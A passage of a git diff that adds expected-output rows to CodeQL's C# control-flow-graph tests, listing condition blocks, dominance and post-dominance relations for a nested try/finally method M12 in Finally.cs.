exception(Exception)] {...} | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(Exception)] call to method WriteLine | 4 | +| Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | Finally.cs:251:21:251:54 | [finally: exception(Exception)] call to method WriteLine | 4 | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(Exception)] call to method WriteLine | 4 | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA)] call to method WriteLine | 4 | +| Finally.cs:250:17:252:17 | {...} | Finally.cs:254:31:254:43 | "Mid finally" | 6 | +| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:254:13:254:44 | call to method WriteLine | 1 | +| Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:258:13:258:46 | [finally: exception(Exception)] call to method WriteLine | 4 | +| Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:258:13:258:46 | [finally: exception(ExceptionA)] call to method WriteLine | 4 | +| Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:258:13:258:46 | [finally: exception(OutOfMemoryException)] call to method WriteLine | 4 | +| Finally.cs:257:9:259:9 | {...} | Finally.cs:233:10:233:12 | exit M12 (normal) | 8 | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:8:29:8:32 | access to parameter args | 3 | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | exit M1 | 2 | | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | 1 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Condition.expected b/csharp/ql/test/library-tests/controlflow/graph/Condition.expected index 27b149e8271..5ce941bc471 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Condition.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Condition.expected @@ -1678,6 +1678,40 @@ conditionBlock | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | Finally.cs:211:13:211:29 | [finally: exception(ExceptionA)] ...; | false | | Finally.cs:208:13:210:13 | {...} | Finally.cs:209:31:209:46 | object creation of type ExceptionC | true | | Finally.cs:208:13:210:13 | {...} | Finally.cs:211:13:211:29 | ...; | false | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:240:21:240:43 | throw ...; | true | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:240:27:240:42 | object creation of type ExceptionA | true | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | true | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:243:13:253:13 | {...} | false | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | true | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | true | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:247:25:247:47 | throw ...; | false | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | true | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | true | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:247:31:247:46 | object creation of type ExceptionA | false | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | false | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | true | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | true | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | true | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | true | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:250:17:252:17 | {...} | false | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:254:13:254:44 | call to method WriteLine | false | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | false | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:257:9:259:9 | {...} | false | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | true | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | true | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | true | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | false | +| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | true | +| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | true | +| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | true | +| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | false | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:247:25:247:47 | throw ...; | true | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:247:31:247:46 | object creation of type ExceptionA | true | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | true | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:250:17:252:17 | {...} | false | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | false | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | false | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:257:9:259:9 | {...} | false | | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | Foreach.cs:6:10:6:11 | exit M1 (normal) | true | | Foreach.cs:8:9:9:13 | foreach (... ... in ...) ... | Foreach.cs:8:22:8:24 | String arg | false | | Foreach.cs:14:9:15:13 | foreach (... ... in ...) ... | Foreach.cs:12:10:12:11 | exit M2 (normal) | true | @@ -2666,6 +2700,14 @@ conditionFlow | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA)] access to parameter b3 | Finally.cs:211:13:211:29 | [finally: exception(ExceptionA)] ...; | false | | Finally.cs:209:21:209:22 | access to parameter b3 | Finally.cs:209:31:209:46 | object creation of type ExceptionC | true | | Finally.cs:209:21:209:22 | access to parameter b3 | Finally.cs:211:13:211:29 | ...; | false | +| Finally.cs:239:21:239:22 | access to parameter b1 | Finally.cs:240:27:240:42 | object creation of type ExceptionA | true | +| Finally.cs:239:21:239:22 | access to parameter b1 | Finally.cs:243:13:253:13 | {...} | false | +| Finally.cs:246:25:246:26 | [finally: exception(Exception)] access to parameter b2 | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | true | +| Finally.cs:246:25:246:26 | [finally: exception(Exception)] access to parameter b2 | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | false | +| Finally.cs:246:25:246:26 | [finally: exception(ExceptionA)] access to parameter b2 | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | true | +| Finally.cs:246:25:246:26 | [finally: exception(ExceptionA)] access to parameter b2 | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | false | +| Finally.cs:246:25:246:26 | access to parameter b2 | Finally.cs:247:31:247:46 | object creation of type ExceptionA | true | +| Finally.cs:246:25:246:26 | access to parameter b2 | Finally.cs:250:17:252:17 | {...} | false | | LoopUnrolling.cs:9:13:9:28 | ... == ... | LoopUnrolling.cs:10:13:10:19 | return ...; | true | | LoopUnrolling.cs:9:13:9:28 | ... == ... | LoopUnrolling.cs:11:29:11:32 | access to parameter args | false | | LoopUnrolling.cs:60:17:60:17 | [b (line 55): false] access to parameter b | LoopUnrolling.cs:62:13:63:37 | [b (line 55): false] if (...) ... | false | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected index bbc1b35641b..cb972e9d844 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Dominance.expected @@ -2319,6 +2319,93 @@ dominance | Finally.cs:230:9:230:33 | call to method WriteLine | Finally.cs:216:10:216:12 | exit M11 (normal) | | Finally.cs:230:9:230:34 | ...; | Finally.cs:230:27:230:32 | "Done" | | Finally.cs:230:27:230:32 | "Done" | Finally.cs:230:9:230:33 | call to method WriteLine | +| Finally.cs:233:10:233:12 | enter M12 | Finally.cs:234:5:261:5 | {...} | +| Finally.cs:234:5:261:5 | {...} | Finally.cs:235:9:259:9 | try {...} ... | +| Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:236:9:255:9 | {...} | +| Finally.cs:236:9:255:9 | {...} | Finally.cs:237:13:253:13 | try {...} ... | +| Finally.cs:237:13:253:13 | try {...} ... | Finally.cs:238:13:241:13 | {...} | +| Finally.cs:238:13:241:13 | {...} | Finally.cs:239:17:240:43 | if (...) ... | +| Finally.cs:239:17:240:43 | if (...) ... | Finally.cs:239:21:239:22 | access to parameter b1 | +| Finally.cs:239:21:239:22 | access to parameter b1 | Finally.cs:240:27:240:42 | object creation of type ExceptionA | +| Finally.cs:239:21:239:22 | access to parameter b1 | Finally.cs:243:13:253:13 | {...} | +| Finally.cs:240:21:240:43 | throw ...; | Finally.cs:243:13:253:13 | [finally: exception(ExceptionA)] {...} | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:240:21:240:43 | throw ...; | +| Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | +| Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:244:17:252:17 | [finally: exception(Exception)] try {...} ... | +| Finally.cs:243:13:253:13 | [finally: exception(ExceptionA)] {...} | Finally.cs:244:17:252:17 | [finally: exception(ExceptionA)] try {...} ... | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:244:17:252:17 | [finally: exception(Exception)] try {...} ... | Finally.cs:245:17:248:17 | [finally: exception(Exception)] {...} | +| Finally.cs:244:17:252:17 | [finally: exception(ExceptionA)] try {...} ... | Finally.cs:245:17:248:17 | [finally: exception(ExceptionA)] {...} | +| Finally.cs:244:17:252:17 | try {...} ... | Finally.cs:245:17:248:17 | {...} | +| Finally.cs:245:17:248:17 | [finally: exception(Exception)] {...} | Finally.cs:246:21:247:47 | [finally: exception(Exception)] if (...) ... | +| Finally.cs:245:17:248:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:246:21:247:47 | [finally: exception(ExceptionA)] if (...) ... | +| Finally.cs:245:17:248:17 | {...} | Finally.cs:246:21:247:47 | if (...) ... | +| Finally.cs:246:21:247:47 | [finally: exception(Exception)] if (...) ... | Finally.cs:246:25:246:26 | [finally: exception(Exception)] access to parameter b2 | +| Finally.cs:246:21:247:47 | [finally: exception(ExceptionA)] if (...) ... | Finally.cs:246:25:246:26 | [finally: exception(ExceptionA)] access to parameter b2 | +| Finally.cs:246:21:247:47 | if (...) ... | Finally.cs:246:25:246:26 | access to parameter b2 | +| Finally.cs:246:25:246:26 | [finally: exception(Exception)] access to parameter b2 | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | +| Finally.cs:246:25:246:26 | [finally: exception(Exception)] access to parameter b2 | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | +| Finally.cs:246:25:246:26 | [finally: exception(ExceptionA)] access to parameter b2 | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | +| Finally.cs:246:25:246:26 | [finally: exception(ExceptionA)] access to parameter b2 | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | +| Finally.cs:246:25:246:26 | access to parameter b2 | Finally.cs:247:31:247:46 | object creation of type ExceptionA | +| Finally.cs:246:25:246:26 | access to parameter b2 | Finally.cs:250:17:252:17 | {...} | +| Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(ExceptionA)] {...} | +| Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] {...} | +| Finally.cs:247:25:247:47 | throw ...; | Finally.cs:250:17:252:17 | [finally(2): exception(ExceptionA)] {...} | +| Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | +| Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | +| Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:247:25:247:47 | throw ...; | +| Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | +| Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally(2): exception(Exception)] ...; | +| Finally.cs:250:17:252:17 | [finally(2): exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally(2): exception(ExceptionA)] ...; | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(Exception)] ...; | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(ExceptionA)] ...; | +| Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally: exception(Exception)] ...; | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(Exception)] ...; | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] ...; | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA)] ...; | +| Finally.cs:250:17:252:17 | {...} | Finally.cs:251:21:251:55 | ...; | +| Finally.cs:251:21:251:54 | call to method WriteLine | Finally.cs:254:13:254:45 | ...; | +| Finally.cs:251:21:251:55 | ...; | Finally.cs:251:39:251:53 | "Inner finally" | +| Finally.cs:251:21:251:55 | [finally(2): exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally(2): exception(Exception)] "Inner finally" | +| Finally.cs:251:21:251:55 | [finally(2): exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally(2): exception(ExceptionA)] "Inner finally" | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(Exception)] "Inner finally" | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(ExceptionA)] "Inner finally" | +| Finally.cs:251:21:251:55 | [finally: exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally: exception(Exception)] "Inner finally" | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(Exception)] "Inner finally" | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] "Inner finally" | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA)] ...; | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA)] "Inner finally" | +| Finally.cs:251:39:251:53 | "Inner finally" | Finally.cs:251:21:251:54 | call to method WriteLine | +| Finally.cs:251:39:251:53 | [finally(2): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally(2): exception(Exception)] call to method WriteLine | +| Finally.cs:251:39:251:53 | [finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally(2): exception(ExceptionA)] call to method WriteLine | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(Exception)] call to method WriteLine | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(ExceptionA)] call to method WriteLine | +| Finally.cs:251:39:251:53 | [finally: exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(Exception)] call to method WriteLine | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(Exception)] call to method WriteLine | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] call to method WriteLine | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA)] call to method WriteLine | +| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:257:9:259:9 | {...} | +| Finally.cs:254:13:254:45 | ...; | Finally.cs:254:31:254:43 | "Mid finally" | +| Finally.cs:254:31:254:43 | "Mid finally" | Finally.cs:254:13:254:44 | call to method WriteLine | +| Finally.cs:254:31:254:43 | "Mid finally" | Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | +| Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | Finally.cs:258:13:258:47 | [finally: exception(Exception)] ...; | +| Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | Finally.cs:258:13:258:47 | [finally: exception(ExceptionA)] ...; | +| Finally.cs:257:9:259:9 | [finally: exception(OutOfMemoryException)] {...} | Finally.cs:258:13:258:47 | [finally: exception(OutOfMemoryException)] ...; | +| Finally.cs:257:9:259:9 | {...} | Finally.cs:258:13:258:47 | ...; | +| Finally.cs:258:13:258:46 | call to method WriteLine | Finally.cs:260:9:260:34 | ...; | +| Finally.cs:258:13:258:47 | ...; | Finally.cs:258:31:258:45 | "Outer finally" | +| Finally.cs:258:13:258:47 | [finally: exception(Exception)] ...; | Finally.cs:258:31:258:45 | [finally: exception(Exception)] "Outer finally" | +| Finally.cs:258:13:258:47 | [finally: exception(ExceptionA)] ...; | Finally.cs:258:31:258:45 | [finally: exception(ExceptionA)] "Outer finally" | +| Finally.cs:258:13:258:47 | [finally: exception(OutOfMemoryException)] ...; | Finally.cs:258:31:258:45 | [finally: exception(OutOfMemoryException)] "Outer finally" | +| Finally.cs:258:31:258:45 | "Outer finally" | Finally.cs:258:13:258:46 | call to method WriteLine | +| Finally.cs:258:31:258:45 | [finally: exception(Exception)] "Outer finally" | Finally.cs:258:13:258:46 | [finally: exception(Exception)] call to method WriteLine | +| Finally.cs:258:31:258:45 | [finally: exception(ExceptionA)] "Outer finally" | Finally.cs:258:13:258:46 | [finally: exception(ExceptionA)] call to method WriteLine | +| Finally.cs:258:31:258:45 | [finally: exception(OutOfMemoryException)] "Outer finally" | Finally.cs:258:13:258:46 | [finally: exception(OutOfMemoryException)] call to method WriteLine | +| Finally.cs:260:9:260:33 | call to method WriteLine | Finally.cs:233:10:233:12 | exit M12 (normal) | +| Finally.cs:260:9:260:34 | ...; | Finally.cs:260:27:260:32 | "Done" | +| Finally.cs:260:27:260:32 | "Done" | Finally.cs:260:9:260:33 | call to method WriteLine | | Foreach.cs:6:10:6:11 | enter M1 | Foreach.cs:7:5:10:5 | {...} | | Foreach.cs:6:10:6:11 | exit M1 (normal) | Foreach.cs:6:10:6:11 | exit M1 | | Foreach.cs:7:5:10:5 | {...} | Foreach.cs:8:29:8:32 | access to parameter args | @@ -6215,6 +6302,78 @@ postDominance | Finally.cs:230:9:230:33 | call to method WriteLine | Finally.cs:230:27:230:32 | "Done" | | Finally.cs:230:9:230:34 | ...; | Finally.cs:228:13:228:40 | call to method WriteLine | | Finally.cs:230:27:230:32 | "Done" | Finally.cs:230:9:230:34 | ...; | +| Finally.cs:233:10:233:12 | exit M12 (normal) | Finally.cs:260:9:260:33 | call to method WriteLine | +| Finally.cs:234:5:261:5 | {...} | Finally.cs:233:10:233:12 | enter M12 | +| Finally.cs:235:9:259:9 | try {...} ... | Finally.cs:234:5:261:5 | {...} | +| Finally.cs:236:9:255:9 | {...} | Finally.cs:235:9:259:9 | try {...} ... | +| Finally.cs:237:13:253:13 | try {...} ... | Finally.cs:236:9:255:9 | {...} | +| Finally.cs:238:13:241:13 | {...} | Finally.cs:237:13:253:13 | try {...} ... | +| Finally.cs:239:17:240:43 | if (...) ... | Finally.cs:238:13:241:13 | {...} | +| Finally.cs:239:21:239:22 | access to parameter b1 | Finally.cs:239:17:240:43 | if (...) ... | +| Finally.cs:243:13:253:13 | [finally: exception(ExceptionA)] {...} | Finally.cs:240:21:240:43 | throw ...; | +| Finally.cs:243:13:253:13 | {...} | Finally.cs:239:21:239:22 | access to parameter b1 | +| Finally.cs:244:17:252:17 | [finally: exception(Exception)] try {...} ... | Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | +| Finally.cs:244:17:252:17 | [finally: exception(ExceptionA)] try {...} ... | Finally.cs:243:13:253:13 | [finally: exception(ExceptionA)] {...} | +| Finally.cs:244:17:252:17 | try {...} ... | Finally.cs:243:13:253:13 | {...} | +| Finally.cs:245:17:248:17 | [finally: exception(Exception)] {...} | Finally.cs:244:17:252:17 | [finally: exception(Exception)] try {...} ... | +| Finally.cs:245:17:248:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:244:17:252:17 | [finally: exception(ExceptionA)] try {...} ... | +| Finally.cs:245:17:248:17 | {...} | Finally.cs:244:17:252:17 | try {...} ... | +| Finally.cs:246:21:247:47 | [finally: exception(Exception)] if (...) ... | Finally.cs:245:17:248:17 | [finally: exception(Exception)] {...} | +| Finally.cs:246:21:247:47 | [finally: exception(ExceptionA)] if (...) ... | Finally.cs:245:17:248:17 | [finally: exception(ExceptionA)] {...} | +| Finally.cs:246:21:247:47 | if (...) ... | Finally.cs:245:17:248:17 | {...} | +| Finally.cs:246:25:246:26 | [finally: exception(Exception)] access to parameter b2 | Finally.cs:246:21:247:47 | [finally: exception(Exception)] if (...) ... | +| Finally.cs:246:25:246:26 | [finally: exception(ExceptionA)] access to parameter b2 | Finally.cs:246:21:247:47 | [finally: exception(ExceptionA)] if (...) ... | +| Finally.cs:246:25:246:26 | access to parameter b2 | Finally.cs:246:21:247:47 | if (...) ... | +| Finally.cs:250:17:252:17 | [finally(2): exception(ExceptionA)] {...} | Finally.cs:247:25:247:47 | throw ...; | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(ExceptionA)] {...} | Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] {...} | Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | +| Finally.cs:250:17:252:17 | {...} | Finally.cs:246:25:246:26 | access to parameter b2 | +| Finally.cs:251:21:251:54 | [finally(2): exception(Exception)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally(2): exception(Exception)] "Inner finally" | +| Finally.cs:251:21:251:54 | [finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally(2): exception(ExceptionA)] "Inner finally" | +| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(Exception)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(Exception)] "Inner finally" | +| Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(ExceptionA)] "Inner finally" | +| Finally.cs:251:21:251:54 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally: exception(Exception)] "Inner finally" | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(Exception)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(Exception)] "Inner finally" | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] "Inner finally" | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA)] call to method WriteLine | Finally.cs:251:39:251:53 | [finally: exception(ExceptionA)] "Inner finally" | +| Finally.cs:251:21:251:54 | call to method WriteLine | Finally.cs:251:39:251:53 | "Inner finally" | +| Finally.cs:251:21:251:55 | ...; | Finally.cs:250:17:252:17 | {...} | +| Finally.cs:251:21:251:55 | [finally(2): exception(Exception)] ...; | Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | +| Finally.cs:251:21:251:55 | [finally(2): exception(ExceptionA)] ...; | Finally.cs:250:17:252:17 | [finally(2): exception(ExceptionA)] {...} | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(Exception)] ...; | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | +| Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(ExceptionA)] ...; | Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(ExceptionA)] {...} | +| Finally.cs:251:21:251:55 | [finally: exception(Exception)] ...; | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(Exception)] ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] {...} | +| Finally.cs:251:21:251:55 | [finally: exception(ExceptionA)] ...; | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | +| Finally.cs:251:39:251:53 | "Inner finally" | Finally.cs:251:21:251:55 | ...; | +| Finally.cs:251:39:251:53 | [finally(2): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:55 | [finally(2): exception(Exception)] ...; | +| Finally.cs:251:39:251:53 | [finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:55 | [finally(2): exception(ExceptionA)] ...; | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(Exception)] ...; | +| Finally.cs:251:39:251:53 | [finally: exception(Exception), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:55 | [finally: exception(Exception), finally(2): exception(ExceptionA)] ...; | +| Finally.cs:251:39:251:53 | [finally: exception(Exception)] "Inner finally" | Finally.cs:251:21:251:55 | [finally: exception(Exception)] ...; | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(Exception)] "Inner finally" | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(Exception)] ...; | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] ...; | +| Finally.cs:251:39:251:53 | [finally: exception(ExceptionA)] "Inner finally" | Finally.cs:251:21:251:55 | [finally: exception(ExceptionA)] ...; | +| Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:254:31:254:43 | "Mid finally" | +| Finally.cs:254:13:254:45 | ...; | Finally.cs:251:21:251:54 | call to method WriteLine | +| Finally.cs:254:31:254:43 | "Mid finally" | Finally.cs:254:13:254:45 | ...; | +| Finally.cs:257:9:259:9 | {...} | Finally.cs:254:13:254:44 | call to method WriteLine | +| Finally.cs:258:13:258:46 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:258:31:258:45 | [finally: exception(Exception)] "Outer finally" | +| 